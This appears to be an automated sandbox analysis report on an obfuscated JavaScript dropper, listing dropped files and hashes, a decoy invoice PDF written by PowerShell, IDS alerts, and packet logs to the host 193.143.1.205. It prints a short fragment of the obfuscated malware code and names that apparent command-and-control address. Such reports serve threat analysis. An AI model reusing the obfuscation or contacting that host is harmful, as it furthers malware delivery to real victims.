Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\11e80df2-1745-4d32-accd-2e86ba25ad48.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/v5eYIGNPpeWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:X5eZGeWLxBGZN3mlind9i4ufFXpAXkru
MD5:	0577D5115207C63BC12C87152DA37790
SHA1:	ED064A52598DC5F61E1727A229DA749F5E26D712
SHA-256:	D855115EE5A713EC7186CDFA6B19B62531D14FC02DD56C32784860CEABF51666
SHA-512:	E067F1B48F2D44224BC9F0BFBDE619700A24B6AFA94961BF2555B0FD7DE3A2DFB68344C5C0EA1CC7D07918D909E0E6A2842F8C295E808C460CB34DA609366AD0
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3cb4f076-3280-416e-930b-0944520f9d20.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/rKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:Ta3mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	81778DB3CD3E202CD8FEB47572C9DF55
SHA1:	A030EAB46FE2ED66D14270A86F44303F0D742019
SHA-256:	2E4A0CE023C75E0A53D82D4D08DC4ACD144039D04CEA94103C26535CB5B56998
SHA-512:	97BFD23BD03D6E911059092ED0C44779588CE29AE31E8FA1510A7FEE2B92B9E07AE2FFD4614D2566D369E48554269DC95DE42E062E533A4AA5EEC4DBAAAD3D1B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9c76294e-093d-41d7-811d-5b58e4dfb364.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c514c828-3b6c-4ff5-846e-90a378088fff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (20763), with CRLF line terminators
Entropy (8bit):	4.9060972197058526
TrID:
File name:	293816234142143228.js
File size:	24'298 bytes
MD5:	65f5a06bbc93c7bdf389755072bd66d3
SHA1:	ca292ef573c9fcca8448e42891590b2e90e3cb8d
SHA256:	d5ae6d6e8ed5ae974cf8d4710cd795228728b504cff056964b85cd0ce93fd9c2
SHA512:	6101278b0c784369cef1e67d5f337a9e2602ea0c4b359d22701d28df0701108669d3c7a4aadbed5f38a0d6ccfcd0d17448f67df972025860e9a87fd3e3576be1
SSDEEP:	384:71UJUWUJ/goC7fZkZFV1hhvL5WM2IEu47MT9D1jwlaKqen:71UJUWUJ/NLIZIR1jYqo
TLSH:	DCB234D44E41CAC78ADE43E13AB70AA920E253CEC90C5BDF055D50D63AC9D4EA7F69B0
File Content Preview:	function mjtso(){gfrdji=[1031,3079,5127,4103,2055,3072];var luole=this[xzusgs+qosgr+nmhpgqna+qvbzyxyw+muctzf+jzenmjufg+fizseyg+wonyqmsx](this[vnjhhcxmc+yxzswh+bljjmzyu+nmhpgqna+wcbald+xzusgs+wonyqmsx][uuoars+nmhpgqna+muctzf+qosgr+wonyqmsx+muctzf+zxwusbwlb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:05:00.052184+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49754	193.143.1.205	80	TCP
2025-01-10T19:05:02.693492+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49770	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:04:59.267652035 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:04:59.272583961 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:04:59.273350954 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:04:59.280091047 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:04:59.284915924 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052086115 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052119017 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052133083 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052184105 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.052208900 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052222013 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052232981 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052247047 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052267075 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.052303076 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.052314997 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052328110 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.052351952 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.092855930 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.092881918 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.092892885 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.092926025 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.092962027 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.175153971 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.175209999 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.175221920 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.175296068 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.175388098 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.175426960 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.175455093 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.175467968 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.175492048 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.175496101 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.175507069 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.175542116 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.176290035 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.176301956 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.176316023 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.176328897 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.176414967 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.176426888 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.176455021 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.177179098 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.177213907 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.177232981 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.177244902 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.177270889 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.177278042 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.177289963 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.177333117 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.178237915 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.178251028 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.178287029 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.179613113 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.179625988 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.179653883 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.180069923 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.180082083 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.180118084 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.217505932 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.217521906 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.217607021 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.262064934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.262077093 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.262137890 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.301964045 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302026987 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302037954 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302052021 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302063942 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302088022 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.302122116 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.302180052 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302213907 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.302215099 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302402020 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302447081 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.302469015 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302478075 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302506924 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302509069 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.302516937 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302547932 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.302655935 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302674055 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302705050 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.302869081 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302880049 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302891016 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302902937 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302915096 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.302917004 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.302937984 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.303200006 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303210974 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303222895 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303232908 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.303235054 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303248882 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303251982 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.303283930 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.303535938 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303581953 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303592920 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303615093 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.303666115 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303677082 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303689003 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303699017 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.303700924 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.303730011 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.304066896 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304104090 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.304121017 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304133892 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304162025 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.304212093 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304223061 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304235935 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304248095 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304256916 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.304281950 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.304332972 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304343939 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304353952 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304368973 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304378033 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.304382086 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.304395914 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.305047035 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.305082083 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.305084944 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.305093050 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.305128098 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.305135965 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.348730087 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.348769903 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.348783016 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.348782063 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.348841906 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.348879099 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.348890066 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.348901033 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.348933935 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.388958931 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.388968945 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.389035940 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.427117109 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427139044 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427376032 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.427474022 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427494049 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427504063 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427517891 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427530050 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427541971 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427552938 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427566051 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.427573919 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.427606106 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.429554939 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429621935 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429631948 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429660082 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.429660082 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429672003 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429691076 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.429759979 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429770947 CET	80	49754	193.143.1.205	192.168.2.9
